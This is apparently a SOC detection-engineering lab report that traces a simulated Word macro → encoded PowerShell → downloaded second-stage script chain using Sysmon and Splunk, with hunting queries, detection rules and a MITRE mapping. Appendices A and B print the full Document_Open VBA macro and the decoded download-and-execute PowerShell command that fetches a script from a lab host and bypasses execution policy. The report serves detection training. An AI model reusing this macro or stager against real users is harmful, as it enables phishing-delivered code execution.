

SOC Investigation Report — Malicious Office Macro: WINWORD → PowerShell Execution Chain

Field	Value
Case ID	SOC-LAB-2026-0717-OFFICEMACRO
Classification	Detection Engineering Lab / Threat Hunting Exercise
Analyst	Edwin Dominic
Victim Host	WIN-11
User Account	WIN-11\Socadmin
Attacker-Simulated Host	Kali Linux — 192.168.56.107 (Python HTTP server, port 80)
Data Source	Sysmon (Operational log) → Splunk
Date of Activity	2026-07-17 (18:18:49 – 18:19:05 UTC)
Alert Triggered	<i>Suspicious Office Application Spawning PowerShell</i>
Severity (Investigated)	Low — confirmed controlled simulation
Technique Risk Rating	High — textbook macro-delivered execution pattern

1. Objective

Detect and investigate a Microsoft Word document using a VBA macro to launch an obfuscated PowerShell command, which in turn retrieves and executes a second-stage script — a long-standing initial-access pattern (macro → LOLBin script interpreter) used to gain code execution once a user is convinced to open a malicious document. The goal was to reconstruct the full chain using Sysmon telemetry, from document open through second-stage script execution, and extract the artifacts a real investigation would rely on.

2. Attack Scenario & Verdict

Socadmin opened `Office_Update..docm` from the Downloads folder. The document's `Document_Open()` macro silently launched a Base64-encoded, hidden-window PowerShell command that downloaded `office_update.ps1` from a lab HTTP server and executed it. The script collected host and Microsoft Office inventory details and wrote them to a local log file — no destructive or exfiltration behavior was involved.

Verdict: Confirmed benign — controlled simulation. The Kali host and Windows 11 victim host were both analyst-owned lab systems. No real intrusion occurred. The macro, encoded command, and payload script were deliberately built to be non-destructive so the investigation could focus on the *technique* (macro-triggered LOLBin execution) rather than malware analysis.

3. Initial Detection

Query: `index=sysmon EventCode=1 Image="*\\WINWORD.EXE"`

Finding

WINWORD.EXE (PID 11624, ProcessGuid {0875a023-720f-6a5a-b006-000000000a00}) was launched by explorer.exe (PID 5488) at 18:18:55 UTC, opening:

```
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n
"C:\Users\Socadmin\Downloads\Office_Update..docm" /o ""
```

The /n flag confirms the document was opened directly (consistent with a user double-clicking the file from Downloads) rather than launched from within an already-open Word session. All subsequent evidence was correlated using this ProcessGuid.

4. Initial Assessment — Why the Activity Was Flagged

Indicator	Detail
Office application spawning a script interpreter	WINWORD.EXE has no legitimate reason to launch powershell.exe directly — this is the single strongest indicator in the entire chain
.docm extension	Macros only execute from macro-enabled document types; the file was deliberately saved as .docm, not .docx
Base64 -EncodedCommand	The PowerShell command was passed encoded rather than in plaintext — a standard obfuscation technique to defeat casual command-line review and simple string-matching detections
-WindowStyle Hidden	The PowerShell process was launched with no visible window, consistent with an attempt to avoid user awareness
-ExecutionPolicy Bypass	Explicitly overrides the host's script execution restrictions

5. Macro Execution Artifact — Registry Investigation

Query: index=sysmon EventCode=13 TargetObject="*TrustRecords*"

Finding

Sysmon logged a Registry Event (Event ID 13) at 18:19:01 UTC, written by WINWORD.EXE, under rule name Context, ProtectedModeExitOrMacrosUsed:

```
TargetObject: HKU\...\Software\Microsoft\Office\16.0\Word\Security\Trusted
Documents\TrustRecords\%USERPROFILE%\Downloads\Office_Update..docm
```

This is a native Office/Sysmon artifact confirming the document exited Protected View and its macro ran — independent of whatever the macro did afterward. This registry write is one of the most reliable, Office-specific indicators available for this technique class and should be treated as a primary detection artifact, not a supporting one.

6. PowerShell Execution Investigation

Query: index=sysmon EventCode=1 ParentImage="*\WINWORD.EXE" Image="*\powershell.exe"

Finding

WINWORD.EXE spawned powershell.exe (PID 11320, ProcessGuid {0875a023-7214-6a5a-bb06-000000000a00}) at 18:19:00.903 UTC:

```
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -
EncodedCommand SQBuAHYA...
```

Decoding the Base64 payload (UTF-16LE) yields:

```
Invoke-WebRequest -Uri "http://192.168.56.107/office_update.ps1" -OutFile
"$env:TEMP\office_update.ps1"; powershell.exe -ExecutionPolicy Bypass -File
"$env:TEMP\office_update.ps1"
```

This confirms the macro's sole purpose was to stage and execute a second script — the encoded command itself contains the entire attack logic for this stage.

7. Network & Payload Retrieval Investigation

Query: `index=sysmon EventCode=3 ProcessGuid="{0875a023-7214-6a5a-bb06-000000000a00}"`

Finding

`powershell.exe` (PID 11320) connected to `192.168.56.107:80` (HTTP), matching the `Invoke-WebRequest` call in the decoded command.

Query: `index=sysmon EventCode=11 ProcessGuid="{0875a023-7214-6a5a-bb06-000000000a00}"`

Finding

`office_update.ps1` was written to `C:\Users\Socadmin\AppData\Local\Temp\` at 18:19:03.905 UTC, confirming the download completed successfully.

Analyst note — event ordering: the network connection's `UtcTime` field (18:18:57.506) is logged as occurring *before* this PowerShell process's own creation event (18:19:00.903), despite Sysmon's `TimeCreated` (emission time) placing it afterward at 18:19:05. This is consistent with Sysmon buffering under load rather than an actual causality violation — the `UtcTime` field is treated as authoritative for sequencing throughout this report, matching the practice in prior investigations in this series.

8. Second-Stage Execution Investigation

Query: `index=sysmon EventCode=1 ParentProcessGuid="{0875a023-7214-6a5a-bb06-000000000a00}"`

Finding

The first PowerShell process spawned a second `powershell.exe` (PID 8364) at 18:19:04.006 UTC:

```
powershell.exe -ExecutionPolicy Bypass -File
C:\Users\Socadmin\AppData\Local\Temp\office_update.ps1
```

This process executed the downloaded script locally — collecting host/OS details via `Get-ComputerInfo`, querying the registry for installed Microsoft Office product information, and writing the results to `%TEMP%\OfficeInventory.log` before exiting. No further child processes, network connections, or persistence mechanisms were observed from this branch.

Both PowerShell instances (PID 11320 and PID 8364) generated a matching create-then-delete pair of `_PSScriptPolicyTest_*.ps1` files in `%TEMP%` — this is standard PowerShell behavior when validating script execution policy for a `-File` invocation, not attacker-introduced activity, and should be recognized as expected housekeeping rather than a separate artifact.

9. Attack Chain

```
explorer.exe
├─ WINWORD.EXE (opens Office_Update..docm)
│   ├── [Office 365 telemetry: DNS + HTTPS – see Section 14]
│   ├── ai.exe (Office Copilot feature – see Section 14)
│   ├── Registry: TrustRecords macro-execution artifact (Event 13)
│   └─ powershell.exe -EncodedCommand (decoded: Invoke-WebRequest + relaunch)
│       ├── TCP 192.168.56.107:80 (download)
│       ├── writes office_update.ps1 to %TEMP%
│       └─ powershell.exe -File office_update.ps1
│           └─ Get-ComputerInfo + registry query → OfficeInventory.log
```

10. Timeline Reconstruction (UTC)

Time	Activity
18:18:49 – 18:18:54	Legitimate Office 365 DNS/HTTPS telemetry (see Section 14)
18:18:55.015	explorer.exe spawns WINWORD.EXE, opening Office_Update..docm
18:18:57.506	powershell.exe (PID 11320) connects to 192.168.56.107:80
18:18:58.722	WINWORD.EXE spawns ai.exe (Office Copilot feature, unrelated — see Section 14)
18:19:00.903	WINWORD.EXE spawns powershell.exe (PID 11320) with -EncodedCommand
18:19:01.166	Registry Event 13: TrustRecords macro-execution artifact written
18:19:03.905	office_update.ps1 written to %TEMP%
18:19:04.006	powershell.exe (PID 11320) spawns second powershell.exe (PID 8364) with -File office_update.ps1

Total elapsed time from document open to second-stage script launch: **~9 seconds**.

11. MITRE ATT&CK Mapping

Tactic	Technique	ID	Evidence
Execution	User Execution: Malicious File	T1204.002	User opened Office_Update..docm; Registry Event 13 (ProtectedModeExitOrMacrosUsed) confirms the macro ran
Execution	Command and Scripting Interpreter: PowerShell	T1059.001	WINWORD.EXE directly spawned powershell.exe

Tactic	Technique	ID	Evidence
Defense Evasion	Obfuscated Files or Information	T1027	PowerShell invoked via Base64 – EncodedCommand rather than plaintext
Command & Control / Delivery	Ingress Tool Transfer	T1105	Invoke-WebRequest retrieved office_update.ps1 over HTTP
Discovery	System Information Discovery	T1082	office_update.ps1 ran Get-ComputerInfo and queried Office registry keys

12. Indicators of Compromise (IOC)

Host Indicators

Type	Value
Hostname	WIN-11
User	WIN-11\Socadmin
Initiating process	explorer.exe (PID 5488)

Process Indicators

Process	PID	Parent	SHA256
WINWORD.EXE	11624	explorer.exe (5488)	AFDB4A8384812E907A73B59DF0FB303AF2BA94994B5F4BBB66A51CE2B04E7C32
powershell.exe (encoded command)	11320	WINWORD.EXE (11624)	0FF6F2C94BC7E2833A5F7E16DE1622E5DBA70396F31C7D5F56381870317E8C46
powershell.exe (second-stage)	8364	powershell.exe (11320)	0FF6F2C94BC7E2833A5F7E16DE1622E5DBA70396F31C7D5F56381870317E8C46

Network Indicators

Value	Role
192.168.56.107:80	Attacker-simulated HTTP host serving office_update.ps1

File Indicators

Path	Note
C:\Users\Socadmin\Downloads\Office_Update..docm	Macro-enabled source document

Path	Note
C:\Users\Socadmin\Downloads\~\$fice_Update..docm	Word's standard lock file, created on open
C:\Users\Socadmin\AppData\Local\Temp\office_update.ps1	Downloaded second-stage script
C:\Users\Socadmin\AppData\Local\Temp\OfficeInventory.log	Script's intended output file, per payload source (Appendix C) — its creation was not captured within this log window

13. Threat Assessment

Macro-triggered PowerShell execution remains one of the most common initial-access patterns in real-world intrusions, typically delivered via phishing attachments. Its effectiveness comes from abusing a trusted, signed application (Word) to reach a general-purpose script interpreter, which then handles obfuscation, download, and execution of further stages — activity that would look far more suspicious if a user ran it directly. The Base64-encoded command and hidden window observed here are standard techniques used to defeat casual log review and simple keyword-based detection, and the two-stage download-then-execute pattern (stub command → full script) is commonly used to keep the initial macro payload small and generic while the real logic ships separately. Although this investigation involved a benign payload in a controlled lab, the observed execution pattern closely mirrors real phishing campaigns and therefore remains a high-confidence detection opportunity

14. Activity Ruled Out as Noise

The following was confirmed unrelated to the macro's execution chain during triage:

- **Office 365 telemetry:** Multiple DNS queries (ecs.office.com, roaming.svc.cloud.microsoft, recent.svc.cloud.microsoft, messaging.engagement.office.com) and outbound HTTPS connections to Microsoft infrastructure were observed immediately after WINWORD.EXE started. These were assessed as normal Office background communication and unrelated to the macro execution chain.
- **Additional HTTPS connection:** A single outbound HTTPS connection from WINWORD.EXE to xxx.xxx.xxx.xx (Kerala Vision ISP) was observed before powershell.exe was created. No evidence linked this connection to the macro or downloaded payload, and it was assessed as unrelated background Office activity.
- **ai.exe:** Microsoft Office AI/Copilot component spawned during Word startup. No process lineage or interaction with the PowerShell execution chain was identified.
- **TrustedInstaller.exe / TiWorker.exe:** Normal Windows servicing activity running under the SYSTEM account. No shared process lineage or correlation with the investigated events.

15. Splunk Threat Hunting & Correlation Queries

Identify Office Applications Spawning a Script Interpreter

```
index=sysmon EventCode=1 (ParentImage="*\WINWORD.EXE" OR
ParentImage="*\EXCEL.EXE" OR ParentImage="*\POWERPNT.EXE")
(Image="*\powershell.exe" OR Image="*\cmd.exe" OR Image="*\wscript.exe" OR
Image="*\mshta.exe")
| table _time Computer User ParentImage Image CommandLine ProcessGuid
```

Purpose: Surfaces any Office application directly spawning a script interpreter, environment-wide — an extremely high-confidence indicator since Office has no legitimate reason to do this.

Correlate Process Lineage

```
index=sysmon (ProcessGuid="{0875a023-720f-6a5a-b006-000000000a00}" OR
ParentProcessGuid="{0875a023-720f-6a5a-b006-000000000a00}")
| sort _time
| table _time EventCode Image ParentImage ProcessGuid ParentProcessGuid
CommandLine
```

Purpose: Reconstructs the full descendant chain of the Word process in one pass.

Hunt for Base64-Encoded PowerShell Commands

```
index=sysmon EventCode=1 Image="*\\powershell.exe" CommandLine="*-
EncodedCommand*"
| table _time Computer User ParentImage CommandLine ProcessGuid
```

Purpose: Surfaces obfuscated PowerShell invocations across the environment, regardless of parent process.

Hunt for the Macro-Trust Registry Artifact

```
index=sysmon EventCode=13 TargetObject="*TrustRecords*"
| table _time Computer User Image TargetObject
```

Purpose: Identifies documents that exited Protected View and ran macros — an Office-specific artifact independent of what the macro did afterward.

Hunt for Scripts Staged by PowerShell

```
index=sysmon EventCode=11 Image="*\\powershell.exe" TargetFilename="*.ps1"
| table _time Computer Image TargetFilename ProcessGuid
```

Purpose: Identifies `.ps1` files written to disk by PowerShell — a common second-stage delivery pattern.

Reconstruct the Full Timeline

```
index=sysmon (ProcessGuid="{0875a023-720f-6a5a-b006-000000000a00}" OR
ParentProcessGuid="{0875a023-720f-6a5a-b006-000000000a00}" OR
ParentProcessGuid="{0875a023-7214-6a5a-bb06-000000000a00}")
| sort _time
| table _time EventCode Image ParentImage CommandLine
```

Purpose: Produces a single chronological view spanning both PowerShell generations, from document open through second-stage execution.

16. Detection Engineering

Monitoring coverage — this activity is reliably detectable by alerting on:

- Any Office application (WINWORD.EXE, EXCEL.EXE, POWERPNT.EXE) spawning cmd.exe, powershell.exe, wscript.exe, mshta.exe, or rundll32.exe
- PowerShell invoked with -EncodedCommand, -WindowStyle Hidden, or -ExecutionPolicy Bypass, particularly when parented by an Office application
- Sysmon Event ID 13 registry writes under Office's TrustRecords key, correlated with a subsequent child process from the same Word instance
- .ps1 files written to %TEMP% by a process chain rooted in an Office application

Actionable rule specs:

1. **Correlation rule:** alert immediately when any Office application is the direct parent of powershell.exe, cmd.exe, wscript.exe, or mshta.exe — near-zero legitimate use case.
2. **Encoded-command rule:** flag any powershell.exe execution containing -EncodedCommand, and prioritize review when the parent process is an Office application.
3. **Registry-correlation rule:** pair TrustRecords macro-trust registry writes (Event 13) with process creation sharing the same ProcessGuid within 60 seconds, to catch macro-triggered execution specifically rather than just macro presence.

Detection Engineering Queries — operationalized, alertable versions of the hunting queries above:

Detect Office → Script Interpreter Spawn (scheduled alert)

```
index=sysmon EventCode=1 (ParentImage="*\\WINWORD.EXE" OR
ParentImage="*\\EXCEL.EXE" OR ParentImage="*\\POWERPNT.EXE")
(Image="*\\powershell.exe" OR Image="*\\cmd.exe" OR Image="*\\wscript.exe" OR
Image="*\\mshta.exe")
| stats count min(_time) as first_seen by Computer User ParentImage Image
CommandLine
```

Deploy as a correlation search with an alert action — this pattern has essentially no legitimate business justification and warrants direct alerting rather than hunting.

Detect Encoded PowerShell Execution

```
index=sysmon EventCode=1 Image="*\\powershell.exe" CommandLine="*-
EncodedCommand*"
| stats count by Computer User ParentImage CommandLine
```

Detect Macro-Triggered Execution (registry + process correlation)

Implemented as a two-stage correlation rather than a single search: Stage 1 captures Event ID 13 registry writes under Office's TrustRecords key, keyed by Computer + ProcessGuid; Stage 2 matches any EventCode=1 process creation sharing that ParentProcessGuid within 60 seconds. This distinguishes documents that merely have macros enabled from documents whose macros actually executed and spawned a process.

17. Recommended Response Actions

1. **Isolate** the affected host to prevent further script execution or exfiltration.
2. **Kill the process tree** rooted at `WINWORD.EXE`, or at minimum the PowerShell branch, if Word must remain open for user continuity.
3. **Quarantine** the source document (`Office_Update..docm`) and the downloaded `office_update.ps1` for static/dynamic analysis.
4. **Block** the hosting IP at the proxy/firewall.
5. **Decode and review** the full `-EncodedCommand` payload as part of triage — never rely on the truncated command line alone.
6. **Submit** the document and script hashes to the EDR/AV vendor and internal threat intel platform.
7. **Review** the user's recent email and download history to identify the delivery vector, since this telemetry capture begins at document-open and does not show how the file arrived on the host.

18. Conclusion

This investigation reconstructed a complete macro-triggered execution chain — `WINWORD.EXE` → `powershell.exe (encoded)` → `office_update.ps1` → `powershell.exe (second-stage)` — from document open to second-stage script execution in under ten seconds. The strongest evidence in the case was not the PowerShell activity itself but Office's own `TrustRecords` registry artifact (Event ID 13), which independently confirms macro execution regardless of what the macro subsequently did — a detection angle worth prioritizing over process-based indicators alone.

The activity was conclusively attributed to a controlled simulation across two analyst-owned hosts. The resulting telemetry, hunting queries, and detection logic above map cleanly to MITRE T1204.002, T1059.001, T1027, T1105, and T1082, and form a validated, reusable dataset spanning investigation, threat hunting, and detection engineering. This validated detection can be operationalized through Sysmon-based correlation rules and Splunk alerting to identify future Office macro abuse with high confidence.

Appendix A: VBA Macro Source (`ThisDocument.Document_Open`)

```
Private Sub Document_Open()  
  
    Dim cmd As String  
  
    cmd = "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle  
Hidden -EncodedCommand  
SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA  
xADkAMgAuADEANgA4AC4ANQA2AC4AMQAwADcALwBvAGYAZgBpAGMAZQBfAHUAcABkAGEAdAB1AC4AcABzAD  
EAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJAB1AG4AdgA6AFQARQBNAFAAXABvAGYAZgBpAGMAZQBfAHUAc  
ABkAGEAdAB1AC4AcABzADEAIgA7ACAACABvAHcAZQByAHMAaAB1AGwAbAAuAGUAeAB1ACAALQBFAGZQBj  
AHUAdABpAG8AbgBQAG8ABABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBGAGkAbAB1ACAAIgAkAGUAbgB2ADo  
AVABFAE0AUABcAG8AZgBmAGkAYwB1AF8AdQBwAGQAYQB0AGUALgBwAHMAMQAIaA=="  
  
    CreateObject("WScript.Shell").Run cmd, 0, False  
  
End Sub
```

Placed under **Microsoft Word Objects** → **ThisDocument**, using the `Document_Open()` event rather than `AutoOpen()`, since real-world malicious documents commonly favor `Document_Open` for execution.

Appendix B: Decoded PowerShell Command

```
Invoke-WebRequest -Uri "http://192.168.56.107/office_update.ps1" -OutFile "$env:TEMP\office_update.ps1"; powershell.exe -ExecutionPolicy Bypass -File "$env:TEMP\office_update.ps1"
```

Appendix C: Second-Stage Payload Source (`office_update.ps1`)

Purpose: Benign PowerShell payload used for laboratory simulation.

Functions performed:

- Collects host information using `Get-ComputerInfo`
- Enumerates installed Microsoft Office products from the registry
- Writes the collected information to `%TEMP%\OfficeInventory.log`
- Exits without persistence, privilege escalation, credential access, or additional network communication

Hosting:

- HTTP Server: `python3 -m http.server 80`
- Server IP: 192.168.56.107

The payload was intentionally designed as a non-destructive inventory collection script for SOC investigation purposes. Its objective was to simulate a realistic second-stage PowerShell payload while enabling safe analysis of the complete Office macro → PowerShell execution chain.